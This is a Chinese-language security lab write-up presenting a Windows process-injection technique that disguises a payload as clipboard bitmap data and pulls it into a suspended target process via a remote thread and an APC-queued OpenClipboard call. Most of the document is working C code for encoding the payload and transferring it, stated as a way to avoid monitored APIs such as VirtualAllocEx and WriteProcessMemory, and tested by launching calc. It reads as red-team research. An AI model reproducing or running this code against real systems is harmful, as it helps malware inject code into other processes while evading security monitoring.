Windows 剪贴板允许我们以各种不同的格式存储数据,这样可以避免在注入执行 payload 的过程中使用一些比较敏感的 API,比如:VirtualAllocEx、WriteProcessMemory 等。
使用 Windows 剪贴板将 pyaload 伪装为位图数据传递到另一个进程中,最后调用执行。
挂起创建目标进程
将 payload 转换为位图格式,并存储在 Windows 剪贴板中
通过剪切板将全部 payload 拷贝到目标进程中
待全部拷贝完成后,执行 payload
将 payload 伪装为位图数据格式
DWORD EncodeBitmapData(BYTE* pData, DWORD dwLength, DWORD* pdwBitmapDataOffset)
{
BITMAPINFOHEADER BitmapInfoHeader;
BYTE bCurrByte = 0;
DWORD dwBitmapHeight = 0;
DWORD dwTotalPixelCount = 0;
DWORD dwRowPaddingBytes = 0;
RGBQUAD ColourTable[256];
HGLOBAL hBitmapData = NULL;
BYTE* pBitmapData = NULL; // calculate image height
dwBitmapHeight = dwLength / ENCODE_BITMAP_WIDTH;
if (dwLength % ENCODE_BITMAP_WIDTH != 0)
dwBitmapHeight++;
// calculate number of pixels
dwTotalPixelCount = (ENCODE_BITMAP_WIDTH * dwBitmapHeight);
// create bitmap info header
memset((void*)&BitmapInfoHeader, 0, sizeof(BitmapInfoHeader));
BitmapInfoHeader.biSize = sizeof(BitmapInfoHeader);
BitmapInfoHeader.biWidth = ENCODE_BITMAP_WIDTH;
BitmapInfoHeader.biHeight = dwBitmapHeight;
BitmapInfoHeader.biPlanes = 1;
BitmapInfoHeader.biBitCount = 8;
BitmapInfoHeader.biCompression = BI_RGB;
BitmapInfoHeader.biSizeImage = 0;
BitmapInfoHeader.biXPelsPerMeter = 0;
BitmapInfoHeader.biYPelsPerMeter = 0;
BitmapInfoHeader.biClrUsed = 256;
BitmapInfoHeader.biClrImportant = 0;
// calculate row padding (each image row must be dword aligned)
dwRowPaddingBytes = 4 - ((ENCODE_BITMAP_WIDTH * (BitmapInfoHeader.biBitCount / 8)) % 4);
if (dwRowPaddingBytes == 4)
dwRowPaddingBytes = 0;
// create 8-bit colour table (256 colours)
for (DWORD i = 0; i < 256; i++)
{
ColourTable[i].rgbRed = (BYTE)i;
ColourTable[i].rgbGreen = (BYTE)i;
ColourTable[i].rgbBlue = (BYTE)i;
ColourTable[i].rgbReserved = 0;
}
// allocate memory for clipboard
hBitmapData = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(BitmapInfoHeader) + sizeof(ColourTable) + dwLength);
if (hBitmapData == NULL)
{
// error
return 1;
}
// lock clipboard buffer for writing
pBitmapData = (BYTE*)GlobalLock(hBitmapData);
if (pBitmapData == NULL)
{
// error
GlobalFree(hBitmapData);
return 1;
}
// write data to clipboard buffer
memcpy((void*)pBitmapData, (void*)&BitmapInfoHeader, sizeof(BitmapInfoHeader));
memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader)), (void*)&ColourTable[0], sizeof(ColourTable));
memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader) + sizeof(ColourTable)), (void*)pData, dwLength);
// unlock buffer
GlobalUnlock(hBitmapData);
// open clipboard
if (OpenClipboard(NULL) == 0)
{
// error
GlobalFree(hBitmapData);
return 1;
}
// clear existing clipboard data
if (EmptyClipboard() == 0)
{
// error
CloseClipboard();
GlobalFree(hBitmapData);
return 1;
}
// set clipboard data
if (SetClipboardData(CF_DIB, hBitmapData) == NULL)
{
// error
CloseClipboard();
GlobalFree(hBitmapData);
return 1;
}
// close clipboard
CloseClipboard();
// store data offset
*pdwBitmapDataOffset = sizeof(BitmapInfoHeader) + sizeof(ColourTable);
return 0;
}
将 payload 数据拷贝到目标进程中,该段代码就是在目标进程中创建一个挂起的线程配合 APC 机制去不断地获取剪切板的数据
DWORD TransferDataOverClipboard(HANDLE hProcess, DWORD* pdwClipboardDataPtr)
{
HANDLE hThread = NULL;
DWORD dwThreadID = 0;
DWORD dwExitCode = 0; // create suspended thread in remote process
if (pNtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPVOID)GetClipboardData, (LPVOID)CF_DIB, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL) != 0)
return 1;
// queue OpenClipboard to execute when the thread resumes
if (QueueUserAPC((PAPCFUNC)OpenClipboard, hThread, 0) == 0)
{
// error
TerminateThread(hThread, 0);
CloseHandle(hThread);
return 1;
}
// resume thread - this will call OpenClipboard(NULL) and then the original entry point: GetClipboardData(CF_DIB)
if (ResumeThread(hThread) == 0xFFFFFFFF)
{
// error
TerminateThread(hThread, 0);
CloseHandle(hThread);
return 1;
}
// wait for thread to exit
if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
{
// error
TerminateThread(hThread, 0);
CloseHandle(hThread);
return 1;
}
// get GetClipboardData return value
if (GetExitCodeThread(hThread, &dwExitCode) == 0)
{
// error
CloseHandle(hThread);
return 1;
}
// close thread handle
CloseHandle(hThread);
// check if GetClipboardData failed
if (dwExitCode == 0)
return 1;
// store ptr
*pdwClipboardDataPtr = dwExitCode;
return 0;
}
使用测试 payload 进行测试,最终 payload 成功执行并弹出计算器。
剪切板属于一种进程间通信技术,通过利用剪切板在不同进程间传递数据,这样避免了一些敏感的 API 调用,VirtualAllocEx、WriteProcessMemory 等。
丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。